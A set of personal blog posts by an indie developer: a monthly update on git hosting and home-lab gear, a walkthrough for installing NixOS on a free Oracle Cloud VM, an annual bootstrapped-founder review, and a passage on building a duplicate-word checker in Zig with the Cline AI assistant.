I’ve been looking for a less corporate, more open-source git hosting service.

I’d been using Gitlab. But they made the bizarre decision to forcefully log out every user every two weeks.

Every time I use Gitlab, I’m signed out. And then to sign in, Gitlab forces me out of flow to check my email for a one-time code rather than allowing my password manager to auto-fill my credentials.

I tried Codeberg, and I liked it. It’s simpler than Gitlab, which works for me because Gitlab always felt overly complex for my needs. And it’s fully open-source and implemented in Go and HTML templates, which is my favorite web stack.

I saw that one of the ways you can pay for Codeberg is by joining as a voting member of the company, so I did that. I haven’t used my membership to do anything yet, but it’s fun to feel like I’m part of a cooperative rather than just a user.

The biggest downside of Codeberg is that there don’t seem to be any managed continuous integration vendors that support it:

WoodpeckerCI: No vendor offers paid managed hosting.
Forgejo Actions: Experimental project with no paid support.
CircleCI: No support for Forgejo/Gitea.
Garnix: No support for Forgejo/Gitea.
Buildkite: No support for Forgejo/Gitea.
Drone: They support Forgejo/Gitea, but it seems like they only offer managed hosting for Enterprise.
Harness: This is a new Drone thing, it seems, but I can’t figure out if they support Forgejo/Gitea.

Codeberg officially recommends self-hosting Woodpecker CI, which sounded fun and impractical, so I spent a day setting that up on my free Oracle cloud VM. Now, I self-host CI for wordword and a few of my other projects. But I don’t trust myself to secure it as well as paid vendors, so I’m not willing to store secrets there. That severely limits how much I can use it as a real CI/CD solution.

Got a 10 Gbps router

For the first time ever, my ISP is offering 2 Gbps symmetrical speeds, so I wanted to take advantage of the full capacity.

My router was a Qotom Q355G4, which has served me well, except it’s not rack-mountable, and it only has 1 Gbps ports.

I wanted to buy a router from a trusted hardware vendor like OPNsense or Protectli, but OPNsense’s cheapest 10 Gbps rack-mounted router is $1,200, and Protectli doesn’t have any rack mountable options.

I ended up buying the Qotom C3758R 1U 10 Gbps router ($417 after shipping and taxes) and installed OPNsense business on it.

I bought a Qotom C3758R 10 Gbps router (third from the top) to take advantage of a newly available 2 Gbps option from my ISP.

I always worry that I’m not getting enough RAM or disk space on my router, but OPNsense barely needs anything. I went with 8 GB of RAM and 128 GB of disk. I just checked system load while running a speed test, and RAM never went above 13% and CPU peaked at about 30%, so the hardware is more than sufficient for my needs. Note that I don’t have a ton of firewall rules, and I don’t use OPNsense’s IDS/IPS features.

Officially converted to rack studs

After I published my article about building my first home server rack, several readers recommended I try Rackstuds instead of cage nuts.

I like Rackstuds way more than standard cage nuts.

I was skeptical because Rackstuds are plastic, so they seem more liable to break than metal cage nuts. But Rackstuds has lab tests showing they can support equipment of up to 40 lbs.

Rackstuds are definitely easier to work with than cage nuts. Cage nuts made it difficult to mount equipment, especially heavy stuff. You need one hand to hold up the component and keep it level, and you need to use your other hand to screw nuts in to secure the equipment in place.

Rackstuds solve this problem because you install the studs first, and then just hang the component onto the studs.

One thing that confused me was that Rackstuds come in two variants: red and purple. They’re different in a confusing way. The product page for the purple studs says:

Suitable for rails between 2.7mm/0.106 and 3.2mm/0.125". If ≤ 2.2mm/0.086", use the new red version instead

Huh?

I think of “rails” in a server rack as the things attach to the server to slide it in, and they’re way bigger than 3mm in every dimension.

What I thought “rails” are in a server rack.

I finally figured out that when Rackstuds talks about rail thickness, they mean the piece of metal on the front of the rack:

On my StarTech rack, purple Rackstuds seemed to fit more comfortably.

Another gotcha: if you buy the Rackstuds Duo, they only work on components that are exactly 1U, whereas the loose Rackstuds work for rack mounting anything. I bought the sample pack of eight first, and then I bought myself a bag of 20 for future rack components.

Wrap up

What got done?

I published the “Passive Voice Considered Harmful” chapter of Refactoring English and an accompanying interactive exercise.
I published My Seventh Year as a Bootstrapped Founder.
I published five short note posts:
I created a new blog error-checking tool in Zig.

Lessons learned

I need to reassess whether my book idea is the right strategy given the time it will take and alternative projects that make better use of changes in AI.
I can adapt content from my book to fit the web better and attract readers. I don’t need my excerpts to 100% match what appears in the full book.

Goals for next month

Complete the blogging chapter of Refactoring English.
Begin selling pre-orders for Refactoring English.

Requests for help

If you have suggestions for a Kickstarter alternative that’s more focused on publishing ebooks, let me know.
- I know about LeanPub, but I’m looking for Kickstarter’s “reach this minimum, or it doesn’t happen” mechanics.
Please reach out or leave a comment below if you have opinions on tools for writing a book in a markup language that supports rendering to both PDF and HTML.
- The options I’m considering are:
  - AsciiDoc
  - mdBook
  - Pollen - I like the idea, but I’d have to learn Pollen, which means learning Racket, which means learning Lisp, so it’s a lot.

Install NixOS on a Free Oracle Cloud VM

Fri, 07 Feb 2025 00:00:00 +0000

Oracle is not a very popular cloud hosting service, but they have an unusually attractive free tier offering. You can run the following two VMs for free 24/7:

4 CPU / 24 GB RAM Ampere A1 ARM VM
1 CPU / 1 GB RAM AMD CPU

The AMD one is not that exciting, but a 4-CPU / 24 GB system is more powerful than you’ll find in the free tier of any other cloud vendor.

GCP’s price for an equivalent 4-CPU ARM VM is $132/month and it has 30% less RAM than Oracle’s.

Google charges $132/month for a slightly worse VM than Oracle’s free-tier ARM option.

The challenge: Install NixOS on an Oracle Cloud VM

Oracle doesn’t offer NixOS as one of the OS options for its VMs, and I’ve read reports that uploading a NixOS image doesn’t work either.

I’ve found several tutorials about installing NixOS on Oracle’s ARM VM, but they all seemed complicated and involved a lot of manual steps.

Prithu Goswami figured out a clever shortcut by using the NixOS installer through netboot, which simplifies things. Prithu’s explanation was pretty terse, so I thought I’d share my complete walkthrough of his method.

Update (2026-03-04): Erik Parawell wrote a guide that eliminates some of the manual steps required in my guide, though I haven’t tested his solution yet personally.

Requirements

There are no pre-requisites except that you’ll need an SSH client on your local system.

ssh

Step 1: Get an Oracle Cloud account

I unfortunately can’t help much with this step, as I did it several months ago and don’t remember the process.

I do know that Oracle kept closing my account for opaque reasons before I even tried any of the cloud services, and I had to email support to get my account restored.

Note that you can only create free-tier VMs in your home region, and I’m not sure which regions have the most capacity.

I chose a home region of US-ASHBURN, which has free-tier VMs.

Step 2: Create a free-tier VM

Once you’re logged in to your Oracle Cloud account, create your free VM:

Go to Create compute instance.
Change the name to whatever you want.
Under “Image and shape,” choose the image Ubuntu > Canonical Ubuntu 24.04 Minimal aarch64.
Under “Image and shape,” choose the shape VM.Standard.A1.Flex and increase the number of OCPUs to 4. RAM should auto-update to 24 GB.

The image and shape screen should look like this:

Verify that the reported cost for “Shape” is $0.

Note: Oracle shows a $2/month charge for the boot volume, but according to what I’ve read, this estimate is a bug, as the free tier includes 200 GB of boot volume storage. I don’t really care, as I’d still pay $2/month for a VM this powerful.

Under “Add SSH keys,” upload your SSH public key.

Finally, hit “Create” to create the VM.

Step 3: Log in over SSH

Wait until your VM shows as running:

Once your VM is running, open a terminal on your local system.

Copy your VM’s public IP address:

VM_IP='1.2.3.4' # Replace with your VM's IP.

SSH into your newly-created VM with your SSH keys:

ssh "ubuntu@${VM_IP}"

Step 4: Download netboot

From your SSH session to your VM, download netboot, a minimal meta-OS for installing other OSes.

To begin, elevate to the root user:

sudo su

Download the netboot ARM64 image to /boot/efi/netboot.efi:

wget https://boot.netboot.xyz/ipxe/netboot.xyz-arm64.efi && \
 sudo install \
 --owner=root \
 --group=root \
 --mode=664 \
 netboot.xyz-arm64.efi \
 /boot/efi/netboot.efi

Step 5: Boot into EFI boot manager using Cloud Shell

Go back to the VM page for your instance on Oracle Cloud in your web browser.

Scroll down to the “Resources” section at the bottom of the VM page and click “Console connection”

From there, click “Launch Cloud Shell connection.”

When the Cloud Shell is initialized, you should see this line:

Instance Console Connection reached state: ACTIVE

Note: The next two steps have to happen quickly in succession. If you miss it, you can just SSH in and try again, though.

From your SSH session, reboot your VM:

reboot

Quickly, switch over to Cloud Shell in your browser. Click on the remote screen and then keep hitting the Escape key on your keyboard as the system reboots.

If you do it correctly, you should see the EFI boot manager:

From the boot screen, go to Boot Manager > EFI Internal Shell.

Press any key to skip startup.nsh.

From the EFI Shell prompt, type:

fs0:netboot.efi

When netboot launches, choose the following options:

Distributions > Linux Network Installs (arm64)
NixOS
NixOS nixos-24.11

netboot will then load you into the NixOS live installer.

Step 7: Configure SSH access for the NixOS installer

After choosing NixOS from netboot, the system should automatically log you in as user nixos with no password prompt.

You can theoretically do the remaining steps through the Cloud Shell, but it’s probably easier if you can SSH in with your standard terminal utility.

The NixOS installer unfortunately does not konw about the SSH public key you uploaded when you created the VM, so you’ll need to get your SSH key on the VM again.

If you have your SSH keys registered with Github, an easy way to provision SSH keys is by running the following commands:

GITHUB_USERNAME='your-github-username'

mkdir -p ~/.ssh && \
 curl "https://github.com/${GITHUB_USERNAME}.keys" > ~/.ssh/authorized_keys

Alternatively, you can just paste any of you SSH public keys into ~/.ssh/authorized_keys.

Once your SSH keys are in place, go back to your standard terminal, and SSH in again, this time to the NixOS install environment:

ssh "nixos@${VM_IP}"

Step 8: Repartition the cloud VM’s disk

At this point, you’re in the NixOS installer, but the disk still has Ubuntu installed on it. You need to wipe and repartition the disk for NixOS.

From your SSH session to the VM, elevate to root.

sudo su

Next, change to a temporary directory:

cd "$(mktemp --directory)"

From here, download the disk configuration file I’ve created. It reserves 500 MB for a boot partition and uses the rest of the disk for NixOS.

curl \
 --show-error \
 --fail \
 https://mtlynch.io/notes/nix-oracle-cloud/disk-config.nix \
 > disk-config.nix

Next, use disko to apply the disk partitioning configuration to the VM’s disk:

nix \
 --experimental-features 'nix-command flakes' \
 run \
 github:nix-community/disko/v1.11.0 \
 -- \
 --mode destroy,format,mount \
 disk-config.nix

When prompted, say “yes” to deleting all data.

Step 9: Install NixOS

At this point, you have a freshly-partitioned disk. It’s time to install NixOS.

To begin, generate a placeholder configuration:

nixos-generate-config --no-filesystems --root /mnt

Move the disk configuration you created in the previous step to /mnt/etc/nixos/ with the rest of your NixOS configuration files:

mv disk-config.nix /mnt/etc/nixos/

Next, download the Nix configuration files I prepared for this Oracle Cloud VM:

curl \
 --show-error \
 --fail \
 https://mtlynch.io/notes/nix-oracle-cloud/configuration.nix \
 > /mnt/etc/nixos/configuration.nix && \
 curl \
 --show-error \
 --fail \
 https://mtlynch.io/notes/nix-oracle-cloud/vars.nix \
 > /mnt/etc/nixos/vars.nix

I split out all the values you’re likely to change into a file called vars.nix:

{
 hostname = "cloudnix"; # Replace with your desired hostname.
 username = "mike"; # Replace with your desired username.
 sshKey = "ssh-rsa AAAAB3..."; # Replace with your SSH public key.
 locale = "en_US.UTF-8";
 timezone = "America/New_York";
}

download vars.nix

Open vars.nix and change the settings to match your desired values.

nano /mnt/etc/nixos/vars.nix

Feel free to tinker with configuration.nix as well, but you can also change the files after you complete the initial install.

Once you’ve customized your configuration.nix and vars.nix, start the NixOS install:

nixos-install --no-root-password

When the install completes, reboot the VM:

shutdown --reboot now

Step 10: Log in to your new NixOS system

The first boot will take about a minute. When it’s ready, go to your terminal, and SSH in using the same IP address you used earlier:

ssh "${VM_IP}"

You’re done! You now have a free 4-CPU VM running on Oracle’s cloud with NixOS installed.

If you run neofetch, you should see output like the screenshot below:

nix-shell -p neofetch --command neofetch

Step 11: (optional) Install a package

At this point, everything’s done, but you may want to test something to make sure your NixOS configuration is in a healthy state.

Open your configuration.nix in a text editor:

sudo nano /etc/nixos/configuration.nix

Find the environment.systemPackages setting, and try adding ffmpeg to the list:

curl
ffmpeg # Add this line
git
vim

Next, apply the configuration with nixos-rebuild:

sudo nixos-rebuild switch

Now, you should see that ffmpeg is available on your system:

$ ffmpeg -version | head -n 2
ffmpeg version 7.1 Copyright (c) 2000-2024 the FFmpeg developers
built with gcc 13.3.0 (GCC)

My Seventh Year as a Bootstrapped Founder

Mon, 03 Feb 2025 00:00:00 +0000

Seven years ago, I quit my job as a developer at Google to create my own bootstrapped software company. Every year, I post an update about how that’s going and what my life is like as an indie founder.

I sold my company

My most significant professional development of the last year is that I sold TinyPilot, the company I founded in 2020.

My wife and I wanted to start a family, and I didn’t think I could be the sole manager of a seven-person company and a good father to a newborn. I found a buyer whose vision for the company aligned with mine, and we completed the sale in April 2024.

Me selling TinyPilot so I could start a family

I already wrote and podcasted about the sale and the lessons I learned, but the short version is that I’m grateful for how everything worked out.

I became a new parent

In August, my wife and I welcomed our first child, a son.

Shortly after the birth, one of the nurses took a beautiful photo of the three of us, which I’ve included below. I’m protective of my son’s privacy, so I ran the picture through a hand-tuned fast Fourier transform to remove biometric details:

Photo of me, my wife, and our newborn son, post-processed with a privacy-preserving photo filter

I’m thankful for the flexibility I get from being an indie founder and for the timing of the TinyPilot sale, as the past five months have been the happiest time of my life.

I worked on educational products

I sold TinyPilot in April, but I stayed with the company through mid-May to help the new owner with the transition.

My son was due in August, and I knew I’d take time off when he arrived. That left me with three months to start something new, but it needed to be something I could shelve for a few months while I figured out my post-baby life.

I decided the best product for those three months would be a downloadable course or book. It’s easy to pause work on an educational product, and even if I have paying customers, there are no servers to keep online or support questions to answer.

My only experience creating educational products was in 2021. I recorded a video course about blogging for technical audiences. It made $7.6k in its first year and another $2.2k since then. It’s not a smash hit by course creator standards, but it took me about 100 hours to produce, and I’m proud of the material. It’s the highest return on investment project I’ve completed since becoming an indie founder.

My 2021 course about blogging for technical audiences has made a total of $10k in four years.

Over the summer, I revised the material from my 2021 blogging course. I started by teaching it to a small group of students on live weekly video calls. My plan was to continue refining the course based on the students’ feedback and then record a final, downloadable version of the course to sell.

The live course went okay, but the feedback from students was that they wanted to learn more about the craft of writing and less about attracting readers. I still wanted to finish the course, but my son arrived a few weeks early, so I never finished the recordings.

After my son was born, it became harder to record videos at home, so I switched to writing a book about effective writing techniques for developers. I’m publishing it chapter by chapter and iterating on the material based on reader feedback.

I still have a bunch of videos from the partially-recorded blogging course that I don’t know what to do with, so here’s one about why you should say yes if popular bootstrapping author Patrick McKenzie challenges you to a blogging duel:

I learned cool technologies

When I was running TinyPilot, I didn’t have time for technical work, which was a bummer because I love writing software.

I’ve always loved programming, but I’ve never found it as exciting as I have in the last year. I’m awed by all the amazing open-source software that’s freely available.

Nix

The technology that had the biggest impact on my work in the last year was Nix and NixOS.

Nix is a package manager like apt-get or yum. It’s also a build tool like CMake or Bazel. By merging those two functionalities, Nix makes it easy to manage dependencies in your software projects and package them for distribution.

I’ve been adopting Nix little by little, but I like it so much that I now use Nix in every programming project and run NixOS on all of my computers.

Who should try it?
- Developers who appreciate infrastructure as code tools like Docker, Ansible, and Terraform.
What’s my pitch?
- On software projects, Nix allows you to define all of your dependencies in source code. Anyone can replicate your environment in one command.
- NixOS is a Linux distro designed around the Nix concept. NixOS allows you to define your computer’s entire configuration in plaintext files. NixOS allows you to easily rebuild your computer from scratch or roll back to previous configurations.
- Nix has many of the advantages of Docker, except that Nix packages compose better than Docker images.
What are the drawbacks?
- Nix has a steep learning curve, and I haven’t found a good developer-oriented beginner guide. The closest is NixOS in Production, which is aimed at DevOps engineers.
- There’s a schism around a feature called “flakes.” If you use flakes, it’s hard to understand tutorials and documentation that don’t, and vice-versa.
- The Nix community is in an unhealthy state due to poor leadership.
- In continuous integration (CI), Nix scales down poorly. I haven’t found a way to run any Nix-dependent CI job in under 55 seconds unless I switch to a Nix-specific CI vendor.
What’s a good way to explore it?
- Try Nix in small increments. You can get tremendous value from learning narrow slices of Nix’s functionality.
- Install Nix using the Determinate Systems installer, and try running a program with nix shell (e.g., nix shell -p cowsay then cowsay howdy, human). Search the package repo to see all the packages you can install in one line.
- If you liked ephemeral shells, create a dev shell for one of your projects so that you can manage all of your dependencies and dev tools from a single file.

htmx

My friends have been praising htmx for several years, but the concept never clicked for me.

“You can make the HTML <button> element send a POST request? Who cares?”

Then, during a long plane ride, I read the free ebook Hypermedia Systems about the philosophy of htmx. The book made me realize that htmx’s value isn’t about letting a <button> send a POST request — it’s about bringing simple interactivity to HTML without burdening the developer with custom JavaScript or deep layers of abstraction.

I always knew that web development involved a lot of tedious JavaScript, but I’d long ago accepted that as normal. HTML and CSS handle presentation, and JavaScript handles interactivity. There has to be glue code to connect the two, and glue code is inherently boring.

htmx’s thesis is that you can eliminate glue code and boilerplate JavaScript by bringing more interactivity to the HTML/CSS part of a web app. And you can do it without introducing complexity and dependencies like npm, Webpack, and gigantic frontend frameworks.

Who should try it?
- Developers who prefer vanilla JavaScript or jQuery over heavy frameworks like React and Vue.
What’s my pitch?
- htmx makes you realize how much unnecessary JavaScript you’ve been writing all your life.
- htmx is a library rather than a framework, so adopting htmx isn’t an all-or-nothing commitment like React or Vue. You can try htmx on a single form in your web app to see if you like it.
- There’s no build step, so you don’t have to run your code through Webpack / Node.js just to generate plaintext HTML, CSS, and JavaScript. The code you write is the same code you see running in the browser.
What are the drawbacks?
- I found it challenging to shift my thinking to the htmx way of writing web apps, but it often resulted in simpler code.
- I find htmx’s error handling awkward, but I have a decent workaround.
- htmx weakens Content Security Policy (CSP).
What’s a good way to explore it?
- Read my more detailed pitch for htmx.
- Read about my experience porting ScreenJournal to htmx.
- Read the first few chapters of Hypermedia Systems (free, available online) to see if it resonates with you.
- Try htmx on a single form in your web application.

Zig

The idea of Zig is that there are still programs we need to write in low-level languages like C, but we’re making it harder on ourselves by continuing to write them in 50-year-old programming languages.

Zig gives you the same power and performance of C, but it takes advantage of hardware and compiler advancements that weren’t available when C was created.

I immediately loved the idea of Zig, but I struggled to find a project for it. I haven’t used C or C++ for a personal project in 15 years. I typically build small-scale web apps, and Zig isn’t the best tool for those.

I still find Zig extremely fun. If I were stranded on a desert island for a year with a laptop but no Internet, my fantasy activity would be porting an open-source rebuild of one of my childhood computer games (e.g., Age of Empires II, Command and Conquer) from unrefined C++ code to elegant Zig.

Who should try it?
- C/C++ programmers who are curious about a modern reimagining of those languages.
What’s my pitch?
- Zig is the most fun I’ve had programming in a long time, and I generally find programming pretty fun. There’s something extra fun about coding with extremely low abstraction and a rush I get from exercising full control over how many times my application touches a piece of memory.
- Zig optimizes for explicit control flow and memory allocation, so I find Zig code easy to reason about.
- The Zig community is welcoming and positive. Whenever I ask questions, I get patient, helpful answers. When I share my Zig tutorials, the community welcomes them enthusiastically.
What are the drawbacks?
- There’s no stable 1.0 release yet. You’ll likely have to rewrite some of your code every time you update to the latest Zig compiler.
- Because of compiler churn, you usually have to tweak examples you read in blog posts or sometimes official language docs.
- I haven’t found good resources for learning the language. There are no Zig books yet. I mainly learn by cobbling together information from disparate blog posts, forum discussions, and the Zig language spec.
What’s a good way to explore it?
- Take a simple program you’d normally write in C or C++, and write it in Zig instead.
- Try Ziglings, the beginnner exercises for learning Zig.
  - Ziglings exercises depend on pre-release versions of the Zig compiler. If you have Nix, an easy way to get the latest pre-release Zig compiler is by running: nix shell 'github:mitchellh/zig-overlay#master'

Fuzz testing with Nix

You probably thought I was done talking about Nix. I’m not!

I’d been curious to try fuzz testing to find security vulnerabilities, as I hadn’t used fuzzing tools since I found a serious vulnerability in VLC ten years ago.

I enjoyed Antonio Morales’ 2021 fuzz testing tutorial, but all the exercises involved boring gruntwork just to set up a working fuzzing environment.

I tried implementing a fuzzing workflow in Nix, and it was so much better. I wish I had time to create more fuzzing tutorials with Nix because I feel like the world is sleeping on Nix as a fuzzing tool.

Who should try it?
- Anyone who performs fuzz testing, especially on C/C++ code.
What’s my pitch?
- Nix makes fuzzing workflows reproducible.
  - Once you get your fuzzer running under Nix, anyone can run your fuzzing configuration by typing nix run. They don’t have to figure out dependencies because Nix automatically reproduces the exact environment you used.
- Nix simplifies installing dependencies.
  - Nix has one of the largest package repositories of any package manager. If your fuzzing target has dependencies, they’re probably already available in the Nix package repository, so you don’t have to figure out a special process for building each dependency.
- Nix simplifies custom patches.
  - If you need to apply custom patches to fuzz your target, Nix makes it easy to apply those and keep the patch files in the same source tree as the rest of your fuzzing workflow.
- Nix caches builds.
  - If you experiment with different compilation options, you don’t have to compile from scratch each time. Nix will remember if you’ve compiled with the same options before and re-use that build. You never have to make clean or delete binaries manually.
What are the drawbacks?
- You have to figure out how to build the code you’re testing through Nix as an extra layer of abstraction.
- Nix performs magic to help you build CMake-based projects, but Nix’s build options are all implicit, which makes its behavior difficult to understand.
- I had a difficult time getting Nix to produce debug symbols, and I’m still not sure what I was doing wrong.
What’s a good way to explore it?
- Try my beginner-friendly tutorial about how I used Nix and honggfuzz to create a fuzzing workflow for an open-source PDF reader.

How was my year overall?

Every year, I ask myself whether I still enjoy being an indie founder.

For the past few years, I had a hard time answering this question. When I was running TinyPilot, I was proud of the company and enjoyed working with the TinyPilot team, but I felt like the pace and complexity of a hardware company was too much for me.

This year, I enjoyed being an indie founder again. I loved the freedom to spend so much time with my wife and our son. I was grateful that my return to work was entirely up to me, and I had complete control over how and when to integrate work into my post-baby life.

Selling TinyPilot was stressful and unpleasant, but when I look back, the parts I remember were celebrating with my wife and friends on an impromptu dessert tour of Western Massachusetts.

In May, a Google recruiter offered me my old job back with no interview, and I was not at all tempted.

I continue enjoying life as an indie founder, and I still want to keep doing it for as long as possible.

Lessons learned

It’s okay not to work

Before my son was born, I struggled with the question of how much time to take off. Obviously, taking a month off would be fine. But if one month is okay, why not two? Why not four? Why not a year?

In the months after my son’s birth, I suddenly had no free time. I wrestled with an even scarier question: what if, now that I have a baby, I can’t return to work even if I want to? What if I could never reclaim enough uninterrupted time for writing and programming?

I took a breath and realized the reason I had “no free time” was that several days each week, I’d take long walks downtown to enjoy an outdoor brunch with my wife and son. Or we’d host visitors from out of town to meet the baby. I had to remind myself that these were all good things that I liked doing, and I was still in control of my time should I decide to resume working.

Ultimately, my return to work happened organically and didn’t feel at odds with family time. My wife and I found a childcare balance that felt right to us, and we continue to adjust as my son gets older and our other family members have joined in to help with childcare.

A process isn’t documented until someone else uses the documentation

In the months leading up to TinyPilot’s sale, I focused on delegating as much as possible to the rest of the team. I didn’t want the new owner to take over and feel like they couldn’t complete some critical task because I was the only one who knew how to do it.

I expected delegation to be easy because we had playbooks for everything, even tasks I did myself. As I began handing off my tasks to teammates, I realized how much of the “documented” processes I owned actually just lived in my head. Steps like “Write the release announcement” or “Update the public changelog” were more complicated than the short phrases implied.

I now consider a process to be documented only when a teammate can follow the process exclusively using the documentation.

Selling to a cash buyer drastically reduces risk and paperwork

One of the biggest lessons from selling TinyPilot was how big a difference closing time makes. I didn’t realize how much additional risk and paperwork the seller bears for every month the sale drags on.

The buyer’s financing has a major impact on closing time. If the buyer borrows money from a bank, the bank becomes a key decision-maker in the deal. Banks move slowly, demand a lot of paperwork, and are hard to negotiate with because they don’t care if the deal falls through.

If I sell another company, I’ll offer incentives to attract a buyer with cash on hand.

Grading last year’s goals

Last year, I set three high-level goals that I wanted to achieve during the year. Here’s how I did against those goals:

Manage TinyPilot on 20 hours per week

Result: Reduced management to 20 hours per week
Grade: A

I sold the company in April, so I only managed TinyPilot for a small amount of the year, but I finally did achieve my goal of managing on just 20 hours per week. That had been a repeated goal for the previous three years.

The thing that finally made it work was that I had no choice. Due dilligence and managing the sale of the company took up 15-20 hours per week by itself, so I just didn’t have the spare hours to do what I had been doing before. Fortunately, the team stepped up to take over tasks that I hadn’t previously thought to delegate.

Publish a course or book

Result: Taught a live course but didn’t publish a course or book.
Grade: C

I likely could have released a course had I skipped the live version, but I’m still glad I did the test run, as it gave me useful feedback about the focus of the course.

Write software for ten working hours per week

Result: I write software for 10-20 hours per week.
Grade: A

I’m writing code more frequently and am enjoying it immensely.

Goals for next year

Earn $50k in profit

Across all of my products, I want to earn $50k in profit. It doesn’t have to be recurring revenue. One-time sales count, but I want to find a way to earn at least $50k from selling my own products.

Publish a course or book

I’ve had an annual goal of publishing a book since 2021. I’ve never done it, but this feels like my year.

Learn a new programming language

Every time I learn a new programming language, it gives me insights I can apply to programming in general.

A lot of my favorite bloggers are excited about Elixir and Phoenix, so I’m curious to try that tech stack.

All annual reviews

My First Year as a Solo Developer- Feb. 1, 2019
My Second Year as a Solo Developer- Jan. 31, 2020
My Third Year as a Solo Developer- Feb. 1, 2021
My Fourth Year as a Bootstrapped Founder- Feb. 1, 2022
My Fifth Year as a Bootstrapped Founder- Feb. 10, 2023
My Sixth Year as a Bootstrapped Founder- Feb. 16, 2024
My Seventh Year as a Bootstrapped Founder- Feb. 3, 2025
My Eighth Year as a Bootstrapped Founder- Feb. 3, 2026

Illustrations by Piotr Letachowicz (except for the terrible stick figure one).

The Cline AI Assistant is Mesmerizing

Sat, 01 Feb 2025 00:00:00 +0000

I tried out the Cline AI assistant yesterday, and then I went into a trance for five hours where I couldn’t do anything but stare transfixed at Cline fixing bugs for me.

As a professional developer, it was both enchanting and terrifying. It’s enchanting that AI has reached this level of proficiency. It’s terrifying for the same reason, as I’m not sure what role I’ll serve in a world where AI can write code better and faster than I can.

I’m late to the game on this, as I realize most other developers have integrated AI tools more deeply into their workflows, but I wanted to share what I saw for others who haven’t experienced it yet.

I’ve used AI tools before

Cline isn’t the first time I’ve used AI.

I’ve been experimenting with LLM assistants for the past two years. I started using them much more heavily in the last six months, as models have reached the level where they reliably produce correct code.

I use Kagi as my search engine, and their Ultimate package includes unlimited access to all the major LLMs. I mainly interact with LLMs through the Kagi Assistant feature, which is just a web UI for chatting with LLMs.

My search engine, Kagi, comes with a nice web chat interface for all the major LLMs.

Full disclosure: I participated in Kagi’s crowdfund, so I have some financial investment in them that I don’t understand.

Using AI tools makes me feel like the bot

The problem I found recently was that AI tools make me feel like I’m the machine. I just sit there mindlessly copying the code between my editor and the chat interface, then saying, “It didn’t work,” pasting the error message, and doing the whole thing over four or five times.

A chatbot LLM keeps giving me the wrong fix to a bug and then requires a lot of prodding to show the full solution.

There has to be a tool for this

I realized there had to be a better way of integrating AI than what I was doing.

I needed a tool to take over my role as “copy code and error messages back and forth” guy.

I tried Sourcegraph Cody twice about a year apart, and I found it disappointing both times. Having it edit my code in place was better than pasting back and forth between the browser and my editor, but Cody was slow and buggy enough that I eventually just went back to pasting code back and forth to my web browser.

I saw a few blog posts recently about Cline, and it sounded appealing for a few reasons:

The code is open-source.
It integrates with VS Code, my main editor.
It can handle editing local files, running commands, and iterating on command output.
It allows me to use locally-hosted LLMs if I choose.
It doesn’t insist on being the middleman for purchasing access to AI APIs, as many other AI assistants do.

The downside is that Cline doesn’t seem to have a revenue source except for burning investor dollars. So, it may not be sustainable, but it’s fine for right now.

Lexical illusions: the perfect test program for an AI assistant

I’ve recently wished for a tool that scans my blog for “lexical illusions.” That’s what Matt Might calls it when you fail to recognize a duplicate word in text, for example:

Many readers are not aware that the
the brain will automatically ignore
a second instance of the word “the”
when it starts a new line.

I make this mistake frequently on my blog, and I often miss it until late in proofreading or after publication.

Matt Might shared a Perl script that finds lexical illustions, but it was rudimentary and produced a lot of false positives on my blog due to Markdown formatting characters.

I asked Kagi Assistant to write a Markdown-aware version in Python, but it kept producing buggy code.

I realized this was a perfect test case for Cline because the problem is easy to define. I should be able to just keep showing the AI assistant test cases with the behavior I want in, and it should be able to just keep editing the code until the test passes.

It was also an excuse to write in Zig, as I want this tool to run as quickly as possible over a large set of files, and I love working with Zig.

Defining the problem

The main interface of my tool was simple: it needed to accept file contents as a string (a [] const u8 in Zig) and then produce a list of duplicate words with their corresponding line numbers.

The basic main interface looked like this:

pub const DupeWord = struct {
 line_number: u32,
 word: []const u8,
};

pub fn FindAdjacentDupes(allocator: std.mem.Allocator,
 input: []const u8) !ArrayList(DupeWord) {
 // TODO: Implement this.
}

And these were my initial unit tests:

test "FindAdjacentDupes" {
 // Don't consider distinct words to be duplicates.
 try testFindDupes("cat dog", &[_]DupeWord{});

 // Find simple dupes.
 try testFindDupes("cat cat", &[_]DupeWord{
 .{ .line_number = 1, .word = "cat" },
 });
}

fn testFindDupes(input: []const u8, expected: []const DupeWord) !void {
 const allocator = testing.allocator;
 var result = try FindAdjacentDupes(allocator, input);
 defer {
 for (result.items) |item| {
 allocator.free(item.word);
 }
 result.deinit();
 }

 try testing.expectEqual(expected.len, result.items.len);

 for (expected, 0..) |expected_dupe, i| {
 try testing.expectEqual(expected_dupe.line_number, result.items[i].line_number);
 try testing.expect(std.mem.eql(u8, expected_dupe.word, result.items[i].word));
 }
}

Cline’s initial results

Within about 30 seconds and $0.09 of LLM credit spending, Cline got the tests to pass:

Cline had updated FindAdjacentDupes with this implementation:

pub fn FindAdjacentDupes(allocator: std.mem.Allocator, input: []const u8) !ArrayList(DupeWord) {
 var result = ArrayList(DupeWord).init(allocator);

 var it = std.mem.splitScalar(u8, input, ' ');
 var prev_word: ?[]const u8 = null;

 while (it.next()) |word| {
 if (prev_word) |prev| {
 if (std.mem.eql(u8, prev, word)) {
 const dupe_word = try allocator.dupe(u8, word);
 try result.append(DupeWord{
 .line_number = 1,
 .word = dupe_word,
 });
 }
 }
 prev_word = word;
 }

 return result;
}

Cline made some wrong turns like using var instead of const or using a deprecated API, but it self-corrected based on error messages the way a human would.

The implementation was obviously incomplete, as it didn’t handle things like Markdown formatting, uppercase letters, or punctuation. I hadn’t shown Cline any test cases with a line number other than 1, so the current implementation hardcoded the line number to always return 1.

That’s when I was hooked

After Cline completed its initial implementation, I kept writing new testcases and then watching Cline update its code to satisfy my tests.

And that’s when I was hooked. I was so amazed that I could develop software this way. I just told the tool what I wanted, and it kept doing exactly what I asked.

Here’s a video I showed at the top of this post of what this looks like in practice:

Results

I spent the rest of the day playing with Cline on implementing the tool. And I now have a functional version of the duplicate word finder. I call it wordword:

mtlynch/wordword on Codeberg

I used wordword to find seven instances of lexical illusion errors on my blog.

In total, it only cost me $6 in credits on OpenRouter, which represented five hours of working continuously with Cline.

What I’ve learned so far

Unsupervised work is suboptimal but too cheap to matter

Cline has an option where it will prompt you before each step to approve of the plan. I quickly got bored of hitting “Approve” every five seconds and just set it up to auto-approve file reads, file writes, and command execution.

I found that if I stopped paying attention, Cline occasionally got stuck in dead ends, repeatedly attempting strategies that were doomed to fail.

Despite this, I continued mostly letting Cline run unsupervised until it reached a solution or hit its 20-attempt limit. These dead ends ate up API credits, but on the scale of pennies, so I’d rather risk wasting a few cents than micromanaging the assistant.

Cline trusts you unconditionally, so choose your words carefully

